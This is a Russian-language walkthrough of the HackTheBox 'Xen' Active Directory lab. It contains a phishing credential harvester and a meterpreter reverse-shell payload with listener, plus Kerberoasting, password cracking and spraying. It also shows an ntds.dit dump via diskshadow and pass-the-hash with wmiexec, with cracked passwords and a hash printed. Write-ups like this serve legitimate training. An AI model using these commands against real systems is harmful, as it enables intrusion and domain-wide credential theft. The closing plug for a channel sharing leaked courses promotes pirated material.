![image](https://habrastorage.org/webt/-g/rq/3z/-grq3z8cvxjlhbkdm-hjxkdwcqc.png)
В данной статье разберем прохождение не просто машины, а целой мини-лаборатории с площадки HackTheBox.
Как сказано в описании, Xen предназначен для проверки навыков на всех стадиях атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, скомпрометировать весь домен, собрав при этом 6 флагов.
Посмотреть разбор еще одной лаборатории Professional Offensive Operations можно здесь.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Intro
Данный endgame состоит из 6 машин, и содержит 6 флагов.
![image](https://habrastorage.org/webt/qi/7m/jd/qi7mjdxucpxhje-cia76n_y_uio.png)
Так же дается описание и адрес доступного хоста.
![image](https://habrastorage.org/webt/ks/h6/wl/ksh6wls_-pv2e2rmk0xbg_cc-x4.png)
Начнем!
Breach flag
Данная машина имеет IP адрес 10.13.38.12, который я добавляю в /etc/hosts.
10.13.38.12 xen.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.12 --rate=500
![image](https://habrastorage.org/webt/38/-e/xn/38-exn8blvfxcaqrpue5ekc_hwk.png)
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A xen.htb -p25,80,443
![image](https://habrastorage.org/webt/28/b1/pr/28b1pr7-okzchmg-ci1ggbaxpow.png)
Таким образом, мы имеем службы IIS и SMTP. При этом есть возможность как HTTP, так и HTTPS соединения на 80 и 443 портах. Давайте посмотрим веб — нас встречают простеньким сайтом.
![image](https://habrastorage.org/webt/up/in/cc/upinccvylfqvhode8at6xivs-ny.png)
Ничего интересного нет, за исключением ссылки “Join the team”, указывающей нам адрес электронный почты jointheteam@humongousretail.com.
![image](https://habrastorage.org/webt/1l/n2/k_/1ln2k_xo-b0vaxpdi1dhl2g2tqa.png)
Давайте переберем директории. Я для этого использую gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).
gobuster dir -t 128 -u http://xen.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,aspx
![image](https://habrastorage.org/webt/0w/rp/et/0wrpetqsiwo1s2ylorprhhgugce.png)
И находим несколько интересных директорий. Код 401 говорит о наличии HTTP аутентификации, давайте посмотрим в сторону remote.
![image](https://habrastorage.org/webt/xo/du/8e/xodu8eovut5bbieahdwnatbyqqg.png)
Принимаем, и у нас требуют учетные данные.
![image](https://habrastorage.org/webt/5v/e0/1w/5ve01wb7xkwxjghn9laebsvcsxm.png)
Нам нужны учетные данные. На этом я решил вернуться к SMTP серверу и перебрать имена пользователей (в качестве списка имен советую использовать тот, что предлагает Metasploit). Сделаем это с помощью smtp-user-enum.
smtp-user-enum -M RCPT -U ./namelist.txt -D humongousretail.com -t xen.htb
![image](https://habrastorage.org/webt/6x/vm/nf/6xvmnfxy7zrbwymwuy53mtsjub4.png)
Мы находим 4 адреса электронной почты. Так как мы видим почту IT службы, мы можем отправить от их имени сообщение всем остальным пользователям. Давайте скопируем страницу авторизации remote, сделаем поддельную и разошлем все пользователям поддельный адрес Remote Portal (на самом деле я был очень удивлен, когда оказалось, что это правильный вектор).
Сделать полную копию страницы можно с помощью расширения SingleFile для Firefox. Далее заглянем в исходный код и изменим данные формы. Первым изменим адрес, куда будут присланы учетные данные, я поставил свой хост и 81 порт.
![image](https://habrastorage.org/webt/ki/_g/d3/ki_gd3wwmdo9rn2ywyixxrzlpdw.png)
И добавим Submit для отправки данных.
![image](https://habrastorage.org/webt/ad/zf/bx/adzfbxlqlhef4csitqunfnqmxks.png)
Теперь запустим netcat для прослушивания 81 порта, активируем веб-сервер и обратимся к измененному файлу, как к index.html.
![image](https://habrastorage.org/webt/jt/td/om/jttdomb7-i7rlqdhj4uasj9a8le.png)
![image](https://habrastorage.org/webt/uf/-7/ud/uf-7ud36kzhbi3qvwd9yjlap2sw.png)
Это работает! Давайте выполним рассылку сообщения о изменении адреса портала.
![image](https://habrastorage.org/webt/nf/kf/q6/nfkfq6zng1tkm8owwsztsoyisfq.png)
Но вот вектор правильный, а исполнение не очень) Так мы полчим данные, но в роботизированном виде на 80 порт.
![image](https://habrastorage.org/webt/de/xw/dp/dexwdpkgpo_oqb4ca2vczmwwqzi.png)
Таким образом собираем все учетки.
![image](https://habrastorage.org/webt/as/ow/xd/asowxdq9r7mltqwhny2jatoh8ky.png)
И теперь заходим на remote.
![image](https://habrastorage.org/webt/mv/oq/v2/mvoqv2pe00qndtibx9aeprwh-uq.png)
И нам предлагаю сохранить ICA файл.
![image](https://habrastorage.org/webt/yd/ke/a3/ydkea3fwsacwjzdcfe6qptwo1ra.png)
Далее я установил расширение для Chromium.
![image](https://habrastorage.org/webt/uf/nc/b4/ufncb4a2m0qdb2czjakbke5i9v4.png)
И подключился как pmorgan (VDESKTOP3).
![image](https://habrastorage.org/webt/o8/ke/gx/o8kegx9kxnfiyskutyymimonhwo.png)
![image](https://habrastorage.org/webt/a4/gb/1o/a4gb1of_eannxkf2gdhb-ra4cg8.png)
Аналогично поступаем и с другими пользователями. И awardel находим первый флаг.
![image](https://habrastorage.org/webt/1z/vs/ig/1zvsigpck-o1os7hmzs70jecape.png)
И сдаем его.
![image](https://habrastorage.org/webt/yw/ii/9n/ywii9nxpta3h-scvghrdis9gpow.png)
И сохраним собранную информацию.
![](https://habrastorage.org/webt/as/ow/xd/asowxdq9r7mltqwhny2jatoh8ky.png)
Deploy flag
Можно заметить, что операционные системы не самые новые, поэтому обязательно должны быть эксплоиты. Давайте кинем шелл meterpreter. Сначала создадим нагрузку.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.14.14.9 LPORT=3434 -f exe > s.exe
![image](https://habrastorage.org/webt/l6/cw/fp/l6cwfpozbfayv9egysl_lshdw-o.png)
Теперь запустим листенер metasploit.
handler -H 10.14.14.9 -P 3434 -p windows/x64/meterpreter/reverse_tcp
![image](https://habrastorage.org/webt/af/rg/xh/afrgxhmdhrqsctrusvic-hftrqy.png)
Зайдем через браузер на целевой машине, скачаем и запустим нагрузку. В окне Metasploit заметим подключение в первой сессии.
![image](https://habrastorage.org/webt/gk/95/hl/gk95hlyj70r7tqijdrcc3cdpi9g.png)
![image](https://habrastorage.org/webt/hp/cs/g-/hpcsg-39centm7wanbtccngaqa0.png)
Теперь перечислим все эксплоиты для LPE.
![image](https://habrastorage.org/webt/ai/_l/nj/ai_lnjg4to9h_7u5uf4yl706fjw.png)
И есть несколько. Давайте воспользуемся первым, он позволит получить контекст system. Запустим новый листенер.
![image](https://habrastorage.org/webt/7t/bt/qe/7tbtqeoikcykli7ck9tategndxk.png)
И используем эксплоит.
![image](https://habrastorage.org/webt/3x/oz/pa/3xozpavk13cms-vl_yhxwy7a0rk.png)
Открывается вторая сессия в контексте SYSTEM.
![image](https://habrastorage.org/webt/cg/qi/uh/cgqiuh4chvqmax4smhxkopyae34.png)
Давайте проверим флаг.
![image](https://habrastorage.org/webt/lq/rn/4m/lqrn4m6ruh6a29ufxfmffi8xjvw.png)
И забираем его.
![](https://habrastorage.org/webt/2m/_g/ct/2m_gctbxaccolc792cmxvfb5bgi.png)
![](https://habrastorage.org/webt/ty/fy/yv/tyfyyv-vw0yeo5eid8_gy4fwr4i.png)
Вот так легко сдаем еще один флаг. Идем далее.
Ghost flag
Для дальнейшей разведки удобно использовать PowerShell, а еще удобней работать через PowerShell Empire (про который я писал тут). Давайте откроем сессию, для этого сперва создадим листенер http и PS лаунчер для него.
> listeners
> uselistener http
> set Host 10.14.14.9
> set Port 5656
> execute
> back
> launcher powershell http
![](https://habrastorage.org/webt/nw/h8/k_/nwh8k_g7pvp4d25k6mcm_g5ase0.png)
Сохраним лаунчер в файл s.ps1. Для запуска его из памяти через meterpreter нужно загрузить модуль powershell.
![](https://habrastorage.org/webt/xe/hf/0m/xehf0mmdd6b0-hmnfbbqivm45p0.png)
И выполним powershell_import.
![](https://habrastorage.org/webt/-f/nw/vv/-fnwvvmgxgd2stpsoceiizkfxhu.png)
В окне Empire обнаружим созданный агент.
![](https://habrastorage.org/webt/f2/cm/7m/f2cm7mexe3pdgwtdgc_mghacli0.png)
Для удобной работы переименуем его по названию рабочей станции и перейдем в интерактивный режим.
![](https://habrastorage.org/webt/ne/vj/oh/nevjoh8xwwovniicwob5gp6k-6u.png)
![](https://habrastorage.org/webt/hj/uc/n3/hjucn3yy2uihhkibe99yoamwpfi.png)
Для разведки нам нужно определить контроллер домена. Сделаем это с помощью одного прекрасного модуля get_domain_controller из раздела situational_awareness.
> usemodule situational_awareness/network/powerview/get_domain_controller
> run
![](https://habrastorage.org/webt/pf/xe/61/pfxe61ftwboyhaqczuzu16huiho.png)
Так мы получаем информацию о контроллере домена. Теперь давайте перечислим пользователей домена. На данном этапе мне нужно получить имена учетных записей и значение свойства AdminCount, чтобы сразу определить привилегированных пользователей.
> usemodule situational_awareness/network/powerview/get_user
> set Server DC.htb.local
> set Properties samaccountname,admincount
> run
![](https://habrastorage.org/webt/ep/bm/8n/epbm8n-0pxbqjkx8ugmru5mx84q.png)
Давайте сразу проверим SPN имена, чтобы определить возможность атаки Kerberoasting.
> usemodule situational_awareness/network/powerview/get_user
> set Server DC.htb.local
> set Properties serviceprincipalname
> run
![](https://habrastorage.org/webt/24/tu/qt/24tuqtogjlqw_wyj_wtkmirvjjq.png)
И есть SPN! Давайте выполним Kerberoasting с помощью того же Empire. Укажем формат вывода — hashcat.
> usemodule credentials/invoke_kerberoast
> set OutputFormat Hashcat
> run
![](https://habrastorage.org/webt/fc/rt/n3/fcrtn3wmff8er48hsi4ck4epipe.png)
И получаем хеш пользователя. Теперь переберем с помощью hashcat.
hashcat -m 13100 -a 0 krb.hash rockyou.txt --force
В словаре rockyou данный пароль не обнаружен, поэтому я поставил перебор по всем словарям из Seclists. Но этот вариант тоже потерпел неудачу. Последний вариант — воспользоваться NSA правилами.
![](https://habrastorage.org/webt/jx/zh/kx/jxzhkxufm6pnpkkqjbqpe-fmj-k.png)
Как представлено в репозитории, dive — лучший вариант, поэтому используем его вторую версию.
hashcat -m 13100 krb.hash rockyou.txt -r nsa-rules/_NSAKEY.v2.dive.rule -debug-mode=1 -debug-file=rule.txt -d 2
![](https://habrastorage.org/webt/8t/m8/yy/8tm8yyoriogouhedrvjvixunnc4.png)
И мы получаем пароль данного пользователя. Для дальнейшего продвижения давайте просканируем локальную сеть. Лучше всего это сделать с помощью с помощью ARP сканирования, так как ICMP может быт заблокирован. В этом нам поможет модуль arpscan.Мы знаем адрес и маску сети, поэтому зададим диапазон хостов.
> usemodule situational_awareness/network/arpscan
> set Range 172.16.249.0-172.16.249.255
> run
![](https://habrastorage.org/webt/7f/vh/qd/7fvhqd_c2vdhwqryakt7yi7kaxu.png)
Так… Из этого списка мы не знаем два хоста: 201 и 202. Давайте проверим общие ресурсы в домене. Из параметров нам нужен только адрес контроллера домена.
> usemodule situational_awareness/network/powerview/share_finder
> set Server DC.htb.local
> run
![](https://habrastorage.org/webt/rs/p3/6d/rsp36dpdijzbbrioueihsptddj0.png)
С каждым сканированием наше представление о сети расширяется, давайте узнаем, что за хост CITRIX.htb.local.
![](https://habrastorage.org/webt/cu/rk/m0/curkm01lzbyve769e7kdt7jjao4.png)
Ниже представлена аккумулируемая нами информация.
![](https://habrastorage.org/webt/sd/zd/8z/sdzd8z_kll5ijcesm_asfi6xqse.png)
Чтобы взаимодействовать с ресурсами во внутренней сети, нам необходимо настроить туннель. Сделаем это в активной сессии meterpreter с помощью команды autoroute, а в качестве параметра укажем адрес внутренней сети и маску (с параметром -p можем проверить активные маршруты).
run autoroute -s 172.16.249.0/24
![](https://habrastorage.org/webt/tn/tu/9y/tntu9y40tdn28avzmqtgl3o0ffw.png)
Теперь, когда мы добавили маршрут к целевой сети, мы воспользуемся вспомогательным средством socks4a изнутри платформы. Вспомогательный модуль auxiliary/server/socks4a предоставляет прокси-сервер, который использует инфраструктуру маршрутизации Metasploit, которую мы создали для ретрансляции соединений.
![](https://habrastorage.org/webt/-v/_j/0b/-v_j0bfvhwes3e1slvn42fwceqi.png)
А в качестве клиента-перенаправителя используем proxychains. Изменим его конфиг /etc/proxychains.conf, указав порт, установленный metasploit (порт по умолчанию 1080).
![](https://habrastorage.org/webt/cy/_5/oh/cy_5ohot9iirrdzik2qssk8hj4a.png)
И для найденного пользователя доступна для чтения директория Citrix$. Так как proxychains выводит информацию о подключении, уберем ее с помощью перенаправления 2>/dev/null.
proxychains cme smb -u mturner -p '4install!' -d htb.local 172.16.249.201 --share "Citrix$" --shares 2>/dev/null
![](https://habrastorage.org/webt/qv/nr/ol/qvnroleugjrgp-i5izk_ovbpdps.png)
Давайте посмотрим все, что нам доступно на этом ресурсе.
proxychains smbmap -u mturner -p '4install!' -d htb.local -H 172.16.249.201 -R 2>/dev/null
![](https://habrastorage.org/webt/mj/g3/-n/mjg3-n6art569eklzc6dsoqx_fy.png)
И мы находим флаг, а также ppk файл. Давайте получим все файлы.
sudo proxychains smbclient //172.16.249.201/Citrix$ -U htb.local\\mturner%4install!
![](https://habrastorage.org/webt/bi/s2/hw/bis2hwyvpobzvdkqykpbac_wfz0.png)
При подключении получаем ошибку, устранить которую можно указав опцию client min protocol.
sudo proxychains smbclient //172.16.249.201/Citrix$ -U htb.local\\mturner%4install! --option='client min protocol=NT1' 2>/dev/null
![](https://habrastorage.org/webt/vn/yi/bh/vnyibhq9ui9jd9-smv92jserdqg.png)
И сдадим флаг.
![](https://habrastorage.org/webt/zy/o3/uy/zyo3uyt0kbvkkijgwr_vdwnaa5i.png)
![](https://habrastorage.org/webt/js/y2/pp/jsy2ppljrcwqjfvit23y4pzisig.png)
Camouflage flag
Давайте разберемся с приватным ключем Putty.
![](https://habrastorage.org/webt/u9/kg/z-/u9kgz-0fzwj3uftpn1yjzumc5qa.png)
Данный приватный ключ зашифрован и предназначен для авторизации по SSH. Давайте переберем пароль, предназначенный для расшифрования ключа. Для этого сперва переформатируем ключ в john формат.
![](https://habrastorage.org/webt/ui/-y/rw/ui-yrwxnm9mh_b-_p7ae2lbkbtc.png)
Но перебрать по стандартным словарям не вышло, и мне подсказали отличный инструмен генерации “удобно набираемых” паролей — kwprocessor. Давайте создадим словарь.
./kwp -o key-dict.txt basechars/tiny.base keymaps/en.keymap routes/2-to-32-max-5-direction-changes.route
![](https://habrastorage.org/webt/xe/mz/j0/xemzj0okpereyu2ubrjiz7u7esi.png)
И мы успешно нашли 16-символьный пароль.
john --wordlist=./kwprocessor/key-dict.txt putty.john
![](https://habrastorage.org/webt/0v/08/p9/0v08p94zn_xex3wgqvqh55ahqyy.png)
Так как у меня Linux, мне удобней работать с обычным SSH клиентом. Переформатируем ключ в данный формат.
sudo apt install putty-tools
puttygen private.ppk -O private-openssh -o id_rsa
Теперь определимся, куда мы с ним можем попасть. Для этого просканировал внутреннюю сеть, чтобы найти открытый 22 порт.
proxychains nmap -p22 172.16.249.200-205 2>/dev/null
![](https://habrastorage.org/webt/fq/da/78/fqda78yhbo1nuezb5_txvnxvigg.png)
И находим, но об этом хосте мы еще ничего не знаем. Попытавшись подключиться без имени, получаем интересное сообщение и запрос пароля.
![](https://habrastorage.org/webt/sf/gp/qs/sfgpqst6ffsugdv0biquhni5fea.png)
Перебор по именам известных нам пользователей результата не принес. Сканирование nmap данного сервиса с использованием скриптов тоже ничего не дало.
![](https://habrastorage.org/webt/sd/wi/y0/sdwiy0egqd4zgm4fagjeyizfmv4.png)
Тогда я просканировал все порты на хосте. Но дожидаться конца сканирования не стал, так как оно шло очень долго, благо в информации proxychains можно было наблюдать, доступен порт или нет.
![](https://habrastorage.org/webt/yv/9e/ov/yv9eovdujflhzyyf9q-hsg7uphw.png)
Так как был доступен 80 порт, я установил прокси в браузере и зашел посмотреть что там.
![](https://habrastorage.org/webt/v2/e6/v-/v2e6v-zekaxpfyu5pvagxkayeta.png)
Нас встречает страница авторизации Citrix NetScaler. И гугл выводит нас на документацию, в которой мы узнаем логин по умолчанию.
![](https://habrastorage.org/webt/mh/cp/ha/mhcpha-tvjml8kvelevudpehacs.png)
![](https://habrastorage.org/webt/u4/rg/zi/u4rgziapmiadlxkt9v-cnydmizo.png)
И с данным логин мы успешно подключаем по SSH.
![](https://habrastorage.org/webt/u2/kl/5b/u2kl5b92xjdgz1gfigbyvb8jgfs.png)
Побродив на сервере, я посмотрел материалы по атакам на подобный вид оборудования, одной из которых является мониторинг трафика. Таким образом, я оставил активный на некоторое время tcpdump и получил дамп трафика.
tcpdump -s0 -w r.pcap
![](https://habrastorage.org/webt/ur/9p/pf/ur9ppf0umalf7govd7ao_jjzc-q.png)
Теперь скачаем данный файл.
proxychains scp -i id_rsa nsroot@172.16.249.202:/root/r.pcap ./
И для быстрого поиска учетных данных используем PCredz.
![](https://habrastorage.org/webt/0c/lq/yn/0clqyngcfi_fxwg1onbheg9t6au.png)
И получаем еще флаг.
![](https://habrastorage.org/webt/ub/ws/mx/ubwsmxhyscpsrfy7jumcjf689la.png)
Doppelganger flag
Но данная программа смотрит не все, поэтому необходимо проанализировать дамп на наличие различных секретов или токенов. Отсортировав пакеты по протоколу, добираемся до LDAP и находим bindRequest’ы двух пользователей, в которых есть пароль (один мы уже нашли).
![](https://habrastorage.org/webt/il/ad/7_/ilad7_p_f-rbgwdrpglcejkbh74.png)
![](https://habrastorage.org/webt/_6/w_/al/_6w_al3oddm4ikipiqi3ishgado.png)
Проверим этот пароль для данного пользователя.
proxychains cme smb -u "netscaler-svc" -p "#S3rvice#@cc" -d htb.local 172.16.249.200 2>/dev/null
![](https://habrastorage.org/webt/n_/7x/r4/n_7xr4urfsbuwry9m258zxmiczy.png)
Данный пользователь ничем не примечателен, кроме того, что это пользователь службы. Часто пароли таких пользователей совпадают с паролями других пользователей домена. Давайте проверим, каким еще пользователям подойдет данный пароль. Я сделал это с помощью metasploit.
proxychains msfconsole 2>/dev/null
> use auxiliary/scanner/smb/smb_login
> set SMBDomain htb.local
> set RHOSTS 172.16.249.200
> set USER_FILE ~/tmp/users.txt
> set PASS_FILE ~/tmp/passwords.txt
> set VERBOSE false
> run
![](https://habrastorage.org/webt/8l/d5/gj/8ld5gjri_mmvptxg1-cdlzc9f1e.png)
И данный пароль подошел ко всем учетным записям служб. Как мы выяснили ранее, учетная запись backup-svc является привилегированной, а это значит, что для нее разрешен вход на контроллер домена. Проверим открытые порты RDP (3389) и WinRM (5985) служб.
proxychains nmap -p 3389,5985 172.16.249.200 2>/dev/null
![](https://habrastorage.org/webt/pz/cw/5a/pzcw5asa6eqyodh4sfwa6vc9_ys.png)
Оба метода входа возможны, но я предпочитаю WinRM. Выполним вход с помощью программы Evil-WinRM.
proxychains evil-winrm -i 172.16.249.200 -u backup-svc -p "#S3rvice#@cc" 2>/dev/null
![](https://habrastorage.org/webt/lq/nx/rg/lqnxrg12wpdnbcsr9fuapynu38u.png)
И забираем еще один флаг.
![](https://habrastorage.org/webt/5c/eu/xx/5ceuxxnpsuj3orc_35qazfwnkq0.png)
Owned flag
Посмотрев информацию о данном пользователе, видим его членство в привилегированных группах, благодаря чему мы можем выполнить копирование файла ntds.dit и извлечб учетные данные пользователей домена.
whoami /all
![](https://habrastorage.org/webt/in/4i/a6/in4ia6lepmr0u2_voqct6h-qjw8.png)
Из методов дампа файла ntds успешно выполняется вариант с discshadow. Давайте авторизуемся по RDP. В качестве клиента я использую remmina.
proxychains remmina
![](https://habrastorage.org/webt/1b/bv/os/1bbvosxjg1jb6y7acri98kmj47k.png)
![](https://habrastorage.org/webt/so/ec/79/soec79bjwbiktiqfc9udby8v4g0.png)
И нас встречает окно командной строки.
![](https://habrastorage.org/webt/xl/ox/kr/xloxkreweosxvmhp56wiy4v4hms.png)
Войдем в контекст diskshadow.
![](https://habrastorage.org/webt/nw/uh/ub/nwuhub-n7hnrfsm9q505cyrvrt4.png)
И создадим копию — диск Z.
set context persistence nowriters
add volume c: alias sss
create
expose %sss% z:
![](https://habrastorage.org/webt/ow/hv/xx/owhvxxddfioicyx-kn1frars-hs.png)
Проверим, и увидим копию файла ntds.dit.
![](https://habrastorage.org/webt/hp/vo/ei/hpvoeilgbsxim5ljt3nxflbmo6w.png)
Еще нам нужен файл System, чтобы расшифровать базу ntds, но его получить легче.
reg.exe save hklm\system C:\Users\backup-svc\Documents\system.bak
![](https://habrastorage.org/webt/nz/_z/16/nz_z16rrzirc0l4udjlgvny5zvm.png)
Но это еще не все, ведь просто так файл ntds не скопировать. Для этого используем следующий инструмент. Для начала загружаем на хост обе DLL.
![](https://habrastorage.org/webt/z9/jb/d1/z9jbd1lsunkcyd3uon6v8yl3skw.png)
И загружаем в память.
![](https://habrastorage.org/webt/9q/gk/cj/9qgkcjotiqguv2rhtjbci6ey1-0.png)
Теперь активируем себе привелегию и проверим, что она в состоянии Enabled.
Set-SeBackupPrivilege
Whoami /priv | findstr Backup
![](https://habrastorage.org/webt/uu/bt/gt/uubtgtsp7zzfuvc9jyi-371bte8.png)
Отлично, теперь копируем файл.
Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit C:\Users\backup-svc\Documents\ntds.dit
А теперь скачиваем на локальный хост файлы ntds и system (и именно в этот момент лаборатория закрывается и я теряю доступ, прям во время загрузки файлов… Оказалось, что лаборатория стала доступна только пользователям с подпиской (ушла на дорешивание) и я не могу закончить прохождение! Но большое спасибо @kemstat, что поделился на время ВИП конфигом ВПН, дабы я дописал данное прохождение). Давайте достанем учетные данные.
secretsdump.py -ntds ndts.dit -system system.bak LOCAL
![](https://habrastorage.org/webt/pk/jc/vt/pkjcvt3bnlmlqet3kcbewyy72ks.png)
И есть хеш администратора. Теперь используем атаку PTH для подключения к серверу. Но psexec (подключение через SMB) не дает нам прочитать файл.
![](https://habrastorage.org/webt/tz/c8/wp/tzc8wpvaac_btlyw3sq5mie2b1y.png)
![](https://habrastorage.org/webt/-_/mq/jj/-_mqjjz_ybfor9th1np8b6liibs.png)
А вот WMI дает нам неограниченный доступ и мы получаем привилении администратора домена и последний флаг.
proxychains wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:822601ccd7155f47cd955b94af1558be Administrator@172.16.249.200 2>/dev/null
![](https://habrastorage.org/webt/ba/y_/sd/bay_sddavamcgwmwy2hj-i819eg.png)
Вот и все. В качестве обратной связи, прокомментируйте — узнали ли Вы что-то новое из данной статьи и была ли она Вам полезна.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.